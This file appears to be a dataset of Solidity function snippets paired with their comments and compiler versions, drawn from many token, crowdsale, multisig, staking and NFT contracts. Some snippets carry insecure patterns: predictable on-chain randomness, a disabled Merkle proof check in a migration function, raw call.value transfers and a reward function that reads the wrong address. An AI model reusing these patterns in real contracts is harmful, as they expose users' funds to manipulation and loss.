cards\r\n if (numOwned == count && _addressToSigToSalePrice[msg.sender][sig] > 0) {\r\n removeSale(sig);\r\n }\r\n }\r\n\r\n // Transfer in registry\r\n registryTransfer(msg.sender, newOwner, sig, count);\r\n }", "version": "0.4.23"} {"comment": "// function withdrawTokens() public onlyOwner {\n// uint256 amount = balanceOf(address(this));\n// require(amount > 0, \"Not enough tokens available to withdraw\");\n// _tokenTransfer(address(this),owner(),amount,false);\n// }\n// function withdrawWETH() public onlyOwner {\n// IUniswapV2Pair token = IUniswapV2Pair(uniswapV2Pair);\n// uint256 amount = token.balanceOf(address(this));\n// require(amount > 0, \"Not enough liquidity available to remove and swap that for WETH\");\n// // approve token transfer to cover all possible scenarios\n// token.approve(address(uniswapV2Router), amount);\n// // add the liquidity\n// uniswapV2Router.removeLiquidity(\n// address(this),\n// uniswapV2Router.WETH(),\n// amount,\n// 0, // slippage is unavoidable\n// 0, // slippage is unavoidable\n// owner(),\n// block.timestamp\n// );\n// }\n//this method is responsible for taking all fee, if takeFee is true", "function_code": "function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {\r\n if(!takeFee)\r\n removeAllFee();\r\n \r\n if (_isExcluded[sender] && !_isExcluded[recipient]) {\r\n _transferFromExcluded(sender, recipient, amount);\r\n } else if (!_isExcluded[sender] && _isExcluded[recipient]) {\r\n _transferToExcluded(sender, recipient, amount);\r\n } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {\r\n _transferStandard(sender, recipient, amount);\r\n } else if (_isExcluded[sender] && _isExcluded[recipient]) {\r\n _transferBothExcluded(sender, recipient, amount);\r\n } else {\r\n _transferStandard(sender, recipient, amount);\r\n }\r\n \r\n if(!takeFee)\r\n restoreAllFee();\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Anybody can burn a specific amount of their tokens.\r\n * @param _amount The amount of token to be burned.\r\n */", "function_code": "function burn(uint256 _amount) public {\r\n require(_amount > 0);\r\n require(_amount <= balances[msg.sender]);\r\n // no need to require _amount <= totalSupply, since that would imply the\r\n // sender's balance is greater than the totalSupply, which *should* be an assertion failure\r\n\r\n address burner = msg.sender;\r\n balances[burner] = SafeMath.sub(balances[burner],_amount);\r\n totalSupply = SafeMath.sub(totalSupply,_amount);\r\n emit Transfer(burner, address(0), _amount);\r\n emit Burn(burner, _amount);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Owner can burn a specific amount of tokens of other token holders.\r\n * @param _from The address of token holder whose tokens to be burned.\r\n * @param _amount The amount of token to be burned.\r\n */", "function_code": "function burnFrom(address _from, uint256 _amount) onlyOwner public {\r\n require(_from != address(0));\r\n require(_amount > 0);\r\n require(_amount <= balances[_from]);\r\n balances[_from] = SafeMath.sub(balances[_from],_amount);\r\n totalSupply = SafeMath.sub(totalSupply,_amount);\r\n emit Transfer(_from, address(0), _amount);\r\n emit Burn(_from, _amount);\r\n }", "version": "0.4.24"} {"comment": "/// @dev Accepts ether and creates new tge tokens.", "function_code": "function createTokens() payable external {\r\n if (!tokenSaleActive) \r\n revert();\r\n if (haltIco) \r\n\trevert();\t \r\n if (msg.value == 0) \r\n revert();\r\n \r\n uint256 tokens;\r\n tokens = SafeMath.mul(msg.value, icoTokenExchangeRate); // check that we're not over totals\r\n uint256 checkedSupply = SafeMath.add(totalSupply, tokens);\r\n \r\n // return money if something goes wrong\r\n if (tokenCreationCap < checkedSupply) \r\n revert(); // odd fractions won't be found\r\n \r\n totalSupply = checkedSupply;\r\n balances[msg.sender] += tokens; // safeAdd not needed; bad semantics to use here\r\n emit CreateToken(msg.sender, tokens); // logs token creation\r\n }", "version": "0.4.24"} {"comment": "//sav3 transfer function", "function_code": "function _transfer(address from, address to, uint256 amount) internal {\r\n // calculate liquidity lock amount\r\n // dont transfer burn from this contract\r\n // or can never lock full lockable amount\r\n if(locked && unlocked[from] != true && unlocked[to] != true)\r\n revert(\"Locked until end of presale\");\r\n \r\n if (liquidityLockDivisor != 0 && feelessAddr[from] == false && feelessAddr[to] == false) {\r\n uint256 liquidityLockAmount = amount.div(liquidityLockDivisor);\r\n super._transfer(from, address(this), liquidityLockAmount);\r\n super._transfer(from, to, amount.sub(liquidityLockAmount));\r\n }\r\n else {\r\n super._transfer(from, to, amount);\r\n }\r\n }", "version": "0.5.17"} {"comment": "// function batchMintAndBurn(uint256[] memory oldID, uint256[] memory newId, bytes32[] memory leaves, bytes32[j][] memory proofs) external {", "function_code": "function batchMigration(uint256[] memory oldIds, uint256[] memory newIds, bytes32[] memory leaves, bytes32[][] memory proofs) external returns(address){\r\n for (uint i = 0; i < oldIds.length; i++) {\r\n // Don't allow reminting\r\n require(!_exists(newIds[i]), \"Token already minted\");\r\n\r\n // Verify that (oldId, newId) correspond to the Merkle leaf\r\n require(keccak256(abi.encodePacked(oldIds[i], newIds[i])) == leaves[i], \"Ids don't match Merkle leaf\");\r\n\r\n // Verify that (oldId, newId) is a valid pair in the Merkle tree\r\n //require(verify(merkleRoot, leaves[i], proofs[i]), \"Not a valid element in the Merkle tree\");\r\n\r\n // Verify that msg.sender is the owner of the old token\r\n require(Opensea(openseaSharedAddress).balanceOf(msg.sender, oldIds[i]), \"Only token owner can mintAndBurn\");\r\n } \r\n\r\n for (uint j = 0; j < oldIds.length; j++) {\r\n Opensea(openseaSharedAddress).safeTransferFrom(msg.sender, burnAddress, oldIds[j], 1, \"\");\r\n\t\t\t_mint(msg.sender, newIds[j]);\r\n\t\t\temit Arise(msg.sender, newIds[j]);\r\n totalSupply += 1;\r\n\t\t}\r\n }", "version": "0.8.4"} {"comment": "// PRIVATE HELPERS FUNCTION", "function_code": "function safeSend(address addr, uint value)\r\n private {\r\n\r\n if (value == 0) {\r\n emit LOG_ZeroSend();\r\n return;\r\n }\r\n\r\n if (this.balance < value) {\r\n emit LOG_ValueIsTooBig();\r\n return;\r\n }\r\n //\u53d1\u9001\u8d44\u91d1\r\n if (!(addr.call.gas(safeGas).value(value)())) {\r\n emit LOG_FailedSend(addr, value);\r\n if (addr != houseAddress) {\r\n \r\n if (!(houseAddress.call.gas(safeGas).value(value)())) LOG_FailedSend(houseAddress, value);\r\n }\r\n }\r\n\r\n emit LOG_SuccessfulSend(addr,value);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\r\n * `recipient`, forwarding all available gas and reverting on errors.\r\n */", "function_code": "function sendValue(address payable recipient, uint256 amount) internal {\r\n require(address(this).balance >= amount, \"Address: insufficient balance\");\r\n\r\n // solhint-disable-next-line avoid-low-level-calls, avoid-call-value\r\n (bool success, ) = recipient.call{ value: amount }(\"\");\r\n require(success, \"Address: unable to send value, recipient may have reverted\");\r\n }", "version": "0.6.12"} {"comment": "/**\n * OZ initializer; sets the option series expiration to (block.number\n * + parameter) block number; useful for tests\n */", "function_code": "function initializeInTestMode(\n string calldata name,\n string calldata symbol,\n IERC20 _underlyingAsset,\n uint8 _underlyingAssetDecimals,\n IERC20 _strikeAsset,\n uint256 _strikePrice) external initializer\n {\n _initialize(\n name,\n symbol,\n _underlyingAsset,\n _underlyingAssetDecimals,\n _strikeAsset,\n _strikePrice,\n ~uint256(0)\n );\n isTestingDeployment = true;\n }", "version": "0.5.11"} {"comment": "/**\n * OZ initializer; sets the option series expiration to an exact\n * block number\n */", "function_code": "function initialize(\n string calldata name,\n string calldata symbol,\n IERC20 _underlyingAsset,\n uint8 _underlyingAssetDecimals,\n IERC20 _strikeAsset,\n uint256 _strikePrice,\n uint256 _expirationBlockNumber) external initializer\n {\n _initialize(\n name,\n symbol,\n _underlyingAsset,\n _underlyingAssetDecimals,\n _strikeAsset,\n _strikePrice,\n _expirationBlockNumber\n );\n }", "version": "0.5.11"} {"comment": "/// @dev Setup function sets initial storage of contract.\n/// @param _owners List of Safe owners.\n/// @param _threshold Number of required confirmations for a Safe transaction.\n/// @param to Contract address for optional delegate call.\n/// @param data Data payload for optional delegate call.\n/// @param fallbackHandler Handler for fallback calls to this contract\n/// @param paymentToken Token that should be used for the payment (0 is ETH)\n/// @param payment Value that should be paid\n/// @param paymentReceiver Adddress that should receive the payment (or 0 if tx.origin)", "function_code": "function setup(\n address[] calldata _owners,\n uint256 _threshold,\n address to,\n bytes calldata data,\n address fallbackHandler,\n address paymentToken,\n uint256 payment,\n address payable paymentReceiver\n ) external {\n // setupOwners checks if the Threshold is already set, therefore preventing that this method is called twice\n setupOwners(_owners, _threshold);\n if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);\n // As setupOwners can only be called if the contract has not been initialized we don't need a check for setupModules\n setupModules(to, data);\n\n if (payment > 0) {\n // To avoid running into issues with EIP-170 we reuse the handlePayment function (to avoid adjusting code of that has been verified we do not adjust the method itself)\n // baseGas = 0, gasPrice = 1 and gas = payment => amount = (payment + 0) * 1 = payment\n handlePayment(payment, 0, 1, paymentToken, paymentReceiver);\n }\n emit SafeSetup(msg.sender, _owners, _threshold, to, fallbackHandler);\n }", "version": "0.7.6"} {"comment": "/**\n * @dev Checks whether the signature provided is valid for the provided data, hash. Will revert otherwise.\n * @param dataHash Hash of the data (could be either a message hash or transaction hash)\n * @param data That should be signed (this is passed to an external validator contract)\n * @param signatures Signature data that should be verified. Can be ECDSA signature, contract signature (EIP-1271) or approved hash.\n */", "function_code": "function checkSignatures(\n bytes32 dataHash,\n bytes memory data,\n bytes memory signatures\n ) public view {\n // Load threshold to avoid multiple storage loads\n uint256 _threshold = threshold;\n // Check that a threshold is set\n require(_threshold > 0, \"GS001\");\n checkNSignatures(dataHash, data, signatures, _threshold);\n }", "version": "0.7.6"} {"comment": "/// @dev Allows to estimate a Safe transaction.\n/// This method is only meant for estimation purpose, therefore the call will always revert and encode the result in the revert data.\n/// Since the `estimateGas` function includes refunds, call this method to get an estimated of the costs that are deducted from the safe with `execTransaction`\n/// @param to Destination address of Safe transaction.\n/// @param value Ether value of Safe transaction.\n/// @param data Data payload of Safe transaction.\n/// @param operation Operation type of Safe transaction.\n/// @return Estimate without refunds and overhead fees (base transaction and payload data gas costs).\n/// @notice Deprecated in favor of common/StorageAccessible.sol and will be removed in next version.", "function_code": "function requiredTxGas(\n address to,\n uint256 value,\n bytes calldata data,\n Enum.Operation operation\n ) external returns (uint256) {\n uint256 startGas = gasleft();\n // We don't provide an error message here, as we use it to return the estimate\n require(execute(to, value, data, operation, gasleft()));\n uint256 requiredGas = startGas - gasleft();\n // Convert response to string and return via error message\n revert(string(abi.encodePacked(requiredGas)));\n }", "version": "0.7.6"} {"comment": "/// @dev Returns the bytes that are hashed to be signed by owners.\n/// @param to Destination address.\n/// @param value Ether value.\n/// @param data Data payload.\n/// @param operation Operation type.\n/// @param safeTxGas Gas that should be used for the safe transaction.\n/// @param baseGas Gas costs for that are independent of the transaction execution(e.g. base transaction fee, signature check, payment of the refund)\n/// @param gasPrice Maximum gas price that should be used for this transaction.\n/// @param gasToken Token address (or 0 if ETH) that is used for the payment.\n/// @param refundReceiver Address of receiver of gas payment (or 0 if tx.origin).\n/// @param _nonce Transaction nonce.\n/// @return Transaction hash bytes.", "function_code": "function encodeTransactionData(\n address to,\n uint256 value,\n bytes calldata data,\n Enum.Operation operation,\n uint256 safeTxGas,\n uint256 baseGas,\n uint256 gasPrice,\n address gasToken,\n address refundReceiver,\n uint256 _nonce\n ) public view returns (bytes memory) {\n bytes32 safeTxHash =\n keccak256(\n abi.encode(\n SAFE_TX_TYPEHASH,\n to,\n value,\n keccak256(data),\n operation,\n safeTxGas,\n baseGas,\n gasPrice,\n gasToken,\n refundReceiver,\n _nonce\n )\n );\n return abi.encodePacked(bytes1(0x19), bytes1(0x01), domainSeparator(), safeTxHash);\n }", "version": "0.7.6"} {"comment": "/// @dev Returns hash to be signed by owners.\n/// @param to Destination address.\n/// @param value Ether value.\n/// @param data Data payload.\n/// @param operation Operation type.\n/// @param safeTxGas Fas that should be used for the safe transaction.\n/// @param baseGas Gas costs for data used to trigger the safe transaction.\n/// @param gasPrice Maximum gas price that should be used for this transaction.\n/// @param gasToken Token address (or 0 if ETH) that is used for the payment.\n/// @param refundReceiver Address of receiver of gas payment (or 0 if tx.origin).\n/// @param _nonce Transaction nonce.\n/// @return Transaction hash.", "function_code": "function getTransactionHash(\n address to,\n uint256 value,\n bytes calldata data,\n Enum.Operation operation,\n uint256 safeTxGas,\n uint256 baseGas,\n uint256 gasPrice,\n address gasToken,\n address refundReceiver,\n uint256 _nonce\n ) public view returns (bytes32) {\n return keccak256(encodeTransactionData(to, value, data, operation, safeTxGas, baseGas, gasPrice, gasToken, refundReceiver, _nonce));\n }", "version": "0.7.6"} {"comment": "//A user can withdraw its staking tokens even if there is no rewards tokens on the contract account", "function_code": "function withdraw(uint256 nonce) public override nonReentrant {\r\n require(stakeAmounts[msg.sender][nonce] > 0, \"LockStakingRewardMinAmountFixedAPY: This stake nonce was withdrawn\");\r\n require(stakeLocks[msg.sender][nonce] < block.timestamp, \"LockStakingRewardMinAmountFixedAPY: Locked\");\r\n uint amount = stakeAmounts[msg.sender][nonce];\r\n uint amountRewardEquivalent = stakeAmountsRewardEquivalent[msg.sender][nonce];\r\n _totalSupply = _totalSupply.sub(amount);\r\n _totalSupplyRewardEquivalent = _totalSupplyRewardEquivalent.sub(amountRewardEquivalent);\r\n _balances[msg.sender] = _balances[msg.sender].sub(amount);\r\n _balancesRewardEquivalent[msg.sender] = _balancesRewardEquivalent[msg.sender].sub(amountRewardEquivalent);\r\n stakingToken.safeTransfer(msg.sender, amount);\r\n stakeAmounts[msg.sender][nonce] = 0;\r\n stakeAmountsRewardEquivalent[msg.sender][nonce] = 0;\r\n emit Withdrawn(msg.sender, amount);\r\n }", "version": "0.8.0"} {"comment": "/**\n * Unlocks some amount of the strike token by burning option tokens.\n *\n * This mechanism ensures that users can only redeem tokens they've\n * previously lock into this contract.\n *\n * Options can only be burned while the series is NOT expired.\n */", "function_code": "function burn(uint256 amount) external beforeExpiration {\n require(amount <= lockedBalance[msg.sender], \"Not enough underlying balance\");\n\n // Burn option tokens\n lockedBalance[msg.sender] = lockedBalance[msg.sender].sub(amount);\n _burn(msg.sender, amount.mul(1e18));\n\n // Unlocks the strike token\n require(strikeAsset.transfer(msg.sender, amount.mul(strikePrice)), \"Couldn't transfer back strike tokens to caller\");\n }", "version": "0.5.11"} {"comment": "/**\n * Allow put token holders to use them to sell some amount of units\n * of the underlying token for the amount * strike price units of the\n * strike token.\n *\n * It presumes the caller has already called IERC20.approve() on the\n * underlying token contract to move caller funds.\n *\n * During the process:\n *\n * - The amount * strikePrice of strike tokens are transferred to the\n * caller\n * - The amount of option tokens are burned\n * - The amount of underlying tokens are transferred into\n * this contract as a payment for the strike tokens\n *\n * Options can only be exchanged while the series is NOT expired.\n *\n * @param amount The amount of underlying tokens to be sold for strike\n * tokens\n */", "function_code": "function exchange(uint256 amount) external beforeExpiration {\n // Gets the payment from the caller by transfering them\n // to this contract\n uint256 underlyingAmount = amount * 10 ** uint256(underlyingAssetDecimals);\n require(underlyingAsset.transferFrom(msg.sender, address(this), underlyingAmount), \"Couldn't transfer strike tokens from caller\");\n\n // Transfers the strike tokens back in exchange\n _burn(msg.sender, amount.mul(1e18));\n require(strikeAsset.transfer(msg.sender, amount.mul(strikePrice)), \"Couldn't transfer strike tokens to caller\");\n }", "version": "0.5.11"} {"comment": "/**\n * OZ initializer\n */", "function_code": "function _initialize(\n string memory name,\n string memory symbol,\n IERC20 _underlyingAsset,\n uint8 _underlyingAssetDecimals,\n IERC20 _strikeAsset,\n uint256 _strikePrice,\n uint256 _expirationBlockNumber) private\n {\n ERC20Detailed.initialize(name, symbol, 18);\n\n underlyingAsset = _underlyingAsset;\n underlyingAssetDecimals = _underlyingAssetDecimals;\n strikeAsset = _strikeAsset;\n strikePrice = _strikePrice;\n expirationBlockNumber = _expirationBlockNumber;\n }", "version": "0.5.11"} {"comment": "// Update the rewards for the given user when one or more Zillas arise", "function_code": "function updateRewardOnArise(address _user, uint256 _amount) external {\r\n require(msg.sender == address(zillaContract), \"Not the Zilla contract\");\r\n\r\n // Check the timestamp of the block against the end yield date\r\n uint256 time = min(block.timestamp, END_YIELD);\r\n uint256 timerUser = lastUpdate[_user];\r\n\r\n // If one or more Zillas of the user were already minted, update the rewards to the new yield\r\n if (timerUser > 0) {\r\n rewards[_user] += getPendingRewards(_user,time) + (_amount * ARISE_ISSUANCE);\r\n }\r\n else {\r\n rewards[_user] += _amount * ARISE_ISSUANCE;\r\n }\r\n // Update the mapping to the newest update\r\n lastUpdate[_user] = time;\r\n }", "version": "0.8.4"} {"comment": "// Called on transfers / update rewards in the Zilla contract, allowing the new owner to get $ZILLA tokens", "function_code": "function updateReward(address _from, address _to) external {\r\n require(msg.sender == address(zillaContract), \"Not the Zilla contract\");\r\n\r\n uint256 time = min(block.timestamp, END_YIELD);\r\n uint256 timerFrom = lastUpdate[_from];\r\n if (timerFrom > 0) {\r\n rewards[_from] += getPendingRewards(_from, time);\r\n }\r\n if (timerFrom != END_YIELD) {\r\n lastUpdate[_from] = time;\r\n }\r\n if (_to != address(0)) {\r\n uint256 timerTo = lastUpdate[_to];\r\n if (timerTo > 0) {\r\n rewards[_to] += getPendingRewards(_from, time);\r\n }\r\n if (timerTo != END_YIELD) {\r\n lastUpdate[_to] = time;\r\n }\r\n }\r\n }", "version": "0.8.4"} {"comment": "// Mint $ZILLA tokens and send them to the user", "function_code": "function getReward(address _to) external {\r\n require(msg.sender == address(zillaContract), \"Not the Zilla contract\");\r\n uint256 reward = rewards[_to];\r\n if (reward > 0) {\r\n rewards[_to] = 0;\r\n _mint(_to, reward);\r\n emit RewardPaid(_to, reward);\r\n }\r\n }", "version": "0.8.4"} {"comment": "//random number", "function_code": "function random(\r\n\t\tuint256 from,\r\n\t\tuint256 to,\r\n\t\tuint256 salty\r\n\t) public view returns (uint256) {\r\n\t\tuint256 seed =\r\n\t\t\tuint256(\r\n\t\t\t\tkeccak256(\r\n\t\t\t\t\tabi.encodePacked(\r\n\t\t\t\t\t\tblock.timestamp +\r\n\t\t\t\t\t\t\tblock.difficulty +\r\n\t\t\t\t\t\t\t((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (block.timestamp)) +\r\n\t\t\t\t\t\t\tblock.gaslimit +\r\n\t\t\t\t\t\t\t((uint256(keccak256(abi.encodePacked(_msgSender())))) / (block.timestamp)) +\r\n\t\t\t\t\t\t\tblock.number +\r\n\t\t\t\t\t\t\tsalty\r\n\t\t\t\t\t)\r\n\t\t\t\t)\r\n\t\t\t);\r\n\t\treturn seed.mod(to - from) + from;\r\n\t}", "version": "0.7.6"} {"comment": "/// NAC Broker Presale Token\n/// @dev Constructor", "function_code": "function NamiCrowdSale(address _escrow, address _namiMultiSigWallet, address _namiPresale) public {\r\n require(_namiMultiSigWallet != 0x0);\r\n escrow = _escrow;\r\n namiMultiSigWallet = _namiMultiSigWallet;\r\n namiPresale = _namiPresale;\r\n // \r\n balanceOf[_escrow] += 100000000000000000000000000; // 100 million NAC\r\n totalSupply += 100000000000000000000000000;\r\n }", "version": "0.4.18"} {"comment": "/// @dev Returns number of tokens owned by given address.\n/// @param _owner Address of token owner.", "function_code": "function burnTokens(address _owner) public\r\n onlyCrowdsaleManager\r\n {\r\n // Available only during migration phase\r\n require(currentPhase == Phase.Migrating);\r\n\r\n uint tokens = balanceOf[_owner];\r\n require(tokens != 0);\r\n balanceOf[_owner] = 0;\r\n totalSupply -= tokens;\r\n LogBurn(_owner, tokens);\r\n\r\n // Automatically switch phase when migration is done.\r\n if (totalSupply == 0) {\r\n currentPhase = Phase.Migrated;\r\n LogPhaseSwitch(Phase.Migrated);\r\n }\r\n }", "version": "0.4.18"} {"comment": "/*/\r\n * Administrative functions\r\n /*/", "function_code": "function setPresalePhase(Phase _nextPhase) public\r\n onlyEscrow\r\n {\r\n bool canSwitchPhase\r\n = (currentPhase == Phase.Created && _nextPhase == Phase.Running)\r\n || (currentPhase == Phase.Running && _nextPhase == Phase.Paused)\r\n // switch to migration phase only if crowdsale manager is set\r\n || ((currentPhase == Phase.Running || currentPhase == Phase.Paused)\r\n && _nextPhase == Phase.Migrating\r\n && crowdsaleManager != 0x0)\r\n || (currentPhase == Phase.Paused && _nextPhase == Phase.Running)\r\n // switch to migrated only if everyting is migrated\r\n || (currentPhase == Phase.Migrating && _nextPhase == Phase.Migrated\r\n && totalSupply == 0);\r\n\r\n require(canSwitchPhase);\r\n currentPhase = _nextPhase;\r\n LogPhaseSwitch(_nextPhase);\r\n }", "version": "0.4.18"} {"comment": "// internal migrate migration tokens", "function_code": "function _migrateToken(address _from, address _to)\r\n internal\r\n {\r\n PresaleToken presale = PresaleToken(namiPresale);\r\n uint256 newToken = presale.balanceOf(_from);\r\n require(newToken > 0);\r\n // burn old token\r\n presale.burnTokens(_from);\r\n // add new token to _to\r\n balanceOf[_to] = balanceOf[_to].add(newToken);\r\n // add new token to totalSupply\r\n totalSupply = totalSupply.add(newToken);\r\n LogMigrate(_from, _to, newToken);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Transfer the specified amount of tokens to the specified address.\r\n * Invokes the `tokenFallback` function if the recipient is a contract.\r\n * The token transfer fails if the recipient is a contract\r\n * but does not implement the `tokenFallback` function\r\n * or the fallback function to receive funds.\r\n *\r\n * @param _to Receiver address.\r\n * @param _value Amount of tokens that will be transferred.\r\n * @param _price price to sell token.\r\n */", "function_code": "function transferToExchange(address _to, uint _value, uint _price) public {\r\n uint codeLength;\r\n \r\n assembly {\r\n codeLength := extcodesize(_to)\r\n }\r\n \r\n balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);\r\n balanceOf[_to] = balanceOf[_to].add(_value);\r\n if (codeLength > 0) {\r\n ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);\r\n receiver.tokenFallbackExchange(msg.sender, _value, _price);\r\n TransferToExchange(msg.sender, _to, _value, _price);\r\n }\r\n }", "version": "0.4.18"} {"comment": "/**\r\n \t* @dev Activates voucher. Checks nonce amount and signature and if it is correct\r\n \t* send amount of tokens to caller\r\n \t* @param nonce voucher's nonce\r\n \t* @param amount voucher's amount\r\n \t* @param signature voucher's signature\r\n \t*/", "function_code": "function activateVoucher(uint256 nonce, uint256 amount, bytes signature) public {\r\n\t\trequire(!usedNonces[nonce], \"nonce is already used\");\r\n\t\trequire(nonce != 0, \"nonce should be greater than zero\");\r\n\t\trequire(amount != 0, \"amount should be greater than zero\");\r\n\t\tusedNonces[nonce] = true;\r\n\r\n\t\taddress beneficiary = msg.sender;\r\n\r\n\t\tbytes32 message = prefixed(keccak256(abi.encodePacked(\r\n\t\t\tthis,\r\n\t\t\tnonce,\r\n\t\t\tamount,\r\n\t\t beneficiary)));\r\n\r\n\t\taddress signedBy = recoverSigner(message, signature);\r\n\t\trequire(signedBy == signerAddress);\r\n\r\n\t\trequire(token.transfer(beneficiary, amount));\r\n\t\temit VoucherRedemption(msg.sender, nonce, amount);\r\n\t}", "version": "0.4.24"} {"comment": "// only escrow can call", "function_code": "function resetSession()\r\n public\r\n onlyEscrow\r\n {\r\n require(!session.isReset && !session.isOpen);\r\n session.priceOpen = 0;\r\n session.priceClose = 0;\r\n session.isReset = true;\r\n session.isOpen = false;\r\n session.investOpen = false;\r\n session.investorCount = 0;\r\n for (uint i = 0; i < MAX_INVESTOR; i++) {\r\n session.investor[i] = 0x0;\r\n session.win[i] = false;\r\n session.amountInvest[i] = 0;\r\n }\r\n }", "version": "0.4.18"} {"comment": "/// @dev Fuction for investor, minimun ether send is 0.1, one address can call one time in one session\n/// @param _choose choise of investor, true is call, false is put", "function_code": "function invest (bool _choose)\r\n public\r\n payable\r\n {\r\n require(msg.value >= 100000000000000000 && session.investOpen); // msg.value >= 0.1 ether\r\n require(now < (session.timeOpen + timeInvestInMinute * 1 minutes));\r\n require(session.investorCount < MAX_INVESTOR && session.investedSession[msg.sender] != sessionId);\r\n session.investor[session.investorCount] = msg.sender;\r\n session.win[session.investorCount] = _choose;\r\n session.amountInvest[session.investorCount] = msg.value;\r\n session.investorCount += 1;\r\n session.investedSession[msg.sender] = sessionId;\r\n Invest(msg.sender, _choose, msg.value, now, sessionId);\r\n }", "version": "0.4.18"} {"comment": "/// @dev get amount of ether to buy NAC for investor\n/// @param _ether amount ether which investor invest\n/// @param _rate rate between win and loss investor\n/// @param _status true for investor win and false for investor loss", "function_code": "function getEtherToBuy (uint _ether, uint _rate, bool _status)\r\n public\r\n pure\r\n returns (uint)\r\n {\r\n if (_status) {\r\n return _ether * _rate / 100;\r\n } else {\r\n return _ether * (200 - _rate) / 100;\r\n }\r\n }", "version": "0.4.18"} {"comment": "/// @dev close session, only escrow can call\n/// @param _priceClose price of ETH in USD", "function_code": "function closeSession (uint _priceClose)\r\n public\r\n onlyEscrow\r\n {\r\n require(_priceClose != 0 && now > (session.timeOpen + timeOneSession * 1 minutes));\r\n require(!session.investOpen && session.isOpen);\r\n session.priceClose = _priceClose;\r\n bool result = (_priceClose>session.priceOpen)?true:false;\r\n uint etherToBuy;\r\n NamiCrowdSale namiContract = NamiCrowdSale(namiCrowdSaleAddr);\r\n uint price = namiContract.getPrice();\r\n for (uint i = 0; i < session.investorCount; i++) {\r\n if (session.win[i]==result) {\r\n etherToBuy = getEtherToBuy(session.amountInvest[i], rate, true);\r\n } else {\r\n etherToBuy = getEtherToBuy(session.amountInvest[i], rate, false);\r\n }\r\n namiContract.buy.value(etherToBuy)(session.investor[i]);\r\n // reset investor\r\n session.investor[i] = 0x0;\r\n session.win[i] = false;\r\n session.amountInvest[i] = 0;\r\n }\r\n session.isOpen = false;\r\n SessionClose(now, sessionId, _priceClose, price, rate);\r\n sessionId += 1;\r\n \r\n // require(!session.isReset && !session.isOpen);\r\n // reset state session\r\n session.priceOpen = 0;\r\n session.priceClose = 0;\r\n session.isReset = true;\r\n session.investOpen = false;\r\n session.investorCount = 0;\r\n }", "version": "0.4.18"} {"comment": "// prevent lost ether", "function_code": "function() payable public {\r\n require(msg.value > 0);\r\n if (bid[msg.sender].price > 0) {\r\n bid[msg.sender].eth = (bid[msg.sender].eth).add(msg.value);\r\n etherBalance = etherBalance.add(msg.value);\r\n UpdateBid(msg.sender, bid[msg.sender].price, bid[msg.sender].eth);\r\n } else {\r\n // refund\r\n msg.sender.transfer(msg.value);\r\n }\r\n // test\r\n // address test = \"0x70c932369fc1C76fde684FF05966A70b9c1561c1\";\r\n // test.transfer(msg.value);\r\n }", "version": "0.4.18"} {"comment": "// prevent lost token", "function_code": "function tokenFallback(address _from, uint _value, bytes _data) public returns (bool success) {\r\n require(_value > 0 && _data.length == 0);\r\n if (ask[_from].price > 0) {\r\n ask[_from].volume = (ask[_from].volume).add(_value);\r\n nacBalance = nacBalance.add(_value);\r\n UpdateAsk(_from, ask[_from].price, ask[_from].volume);\r\n return true;\r\n } else {\r\n //refund\r\n ERC23 asset = ERC23(NamiAddr);\r\n asset.transfer(_from, _value);\r\n return false;\r\n }\r\n }", "version": "0.4.18"} {"comment": "// function about ask Order-----------------------------------------------------------\n// place ask order by send NAC to contract", "function_code": "function tokenFallbackExchange(address _from, uint _value, uint _price) onlyNami public returns (bool success) {\r\n require(_price > 0);\r\n if (_value > 0) {\r\n nacBalance = nacBalance.add(_value);\r\n ask[_from].volume = (ask[_from].volume).add(_value);\r\n ask[_from].price = _price;\r\n UpdateAsk(_from, _price, ask[_from].volume);\r\n return true;\r\n } else {\r\n ask[_from].price = _price;\r\n return false;\r\n }\r\n }", "version": "0.4.18"} {"comment": "/// @dev Allows anyone to execute a confirmed transaction.\n/// @param transactionId Transaction ID.", "function_code": "function executeTransaction(uint transactionId)\r\n public\r\n notExecuted(transactionId)\r\n {\r\n if (isConfirmed(transactionId)) {\r\n // Transaction tx = transactions[transactionId];\r\n transactions[transactionId].executed = true;\r\n // tx.executed = true;\r\n if (transactions[transactionId].destination.call.value(transactions[transactionId].value)(transactions[transactionId].data)) {\r\n Execution(transactionId);\r\n } else {\r\n ExecutionFailure(transactionId);\r\n transactions[transactionId].executed = false;\r\n }\r\n }\r\n }", "version": "0.4.18"} {"comment": "/// @dev Returns total number of transactions after filers are applied.\n/// @param pending Include pending transactions.\n/// @param executed Include executed transactions.\n/// @return Total number of transactions after filters are applied.", "function_code": "function getTransactionCount(bool pending, bool executed)\r\n public\r\n constant\r\n returns (uint count)\r\n {\r\n for (uint i = 0; i < transactionCount; i++) {\r\n if (pending && !transactions[i].executed || executed && transactions[i].executed)\r\n count += 1;\r\n }\r\n }", "version": "0.4.18"} {"comment": "// Purchases London Ticket", "function_code": "function TicketPurchase() public payable nonReentrant whenNotPaused\n {\n require(_SALE_IS_ACTIVE, \"Sale must be active to mint Tickets\");\n require(BrightList[msg.sender] > 0, \"Ticket Amount Exceeds `msg.sender` Allowance\");\n require(_TICKET_INDEX + 1 < _MAX_TICKETS, \"Purchase Would Exceed Max Supply Of Tickets\");\n require(_TICKET_PRICE == msg.value, \"Ether Value Sent Is Not Correct. 1 ETH Per Ticket\");\n if(!_ALLOW_MULTIPLE_PURCHASES) { require(!purchased[msg.sender], \"Address Has Already Purchased\"); }\n BrightList[msg.sender] -= 1;\n IERC721(_TICKET_TOKEN_ADDRESS).transferFrom(_BRT_MULTISIG, msg.sender, _TICKET_INDEX);\n _TICKET_INDEX += 1;\n purchased[msg.sender] = true;\n emit TicketPurchased(msg.sender, 1, _TICKET_INDEX);\n }", "version": "0.8.10"} {"comment": "/**\r\n @dev Mint new token and maps to receiver\r\n */", "function_code": "function mint(uint256 amount, uint256 totalPrice, uint256 nonce, bytes memory signature)\r\n external\r\n payable\r\n whenNotPaused\r\n {\r\n require(!_nonceSpended[nonce], \"WabiStore: Signature already used\");\r\n 